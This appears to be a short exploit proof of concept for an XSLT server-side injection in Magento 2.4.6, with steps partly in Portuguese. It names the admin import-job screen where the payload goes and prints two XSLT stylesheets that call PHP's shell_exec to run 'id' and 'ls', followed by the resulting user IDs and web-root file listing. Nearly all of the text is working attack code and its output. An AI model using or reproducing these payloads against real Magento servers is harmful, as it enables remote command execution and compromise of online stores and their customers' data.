
Magento ver. 2.4.6 - XSLT Server Side Injection
## POC
SYSTEM > Import Jobs > Entity Type Widget > click editXSLT Configuration e escreva este payload:<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','id')" />
</xsl:template>
</xsl:stylesheet>```
**<?xml version="1.0"?>
**uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','ls')" />
</xsl:template>
</xsl:stylesheet>```
**<?xml version="1.0"?>
cron.php
errors
get.php
health_check.php
index.php
media
opt
robots.txt
static
static.php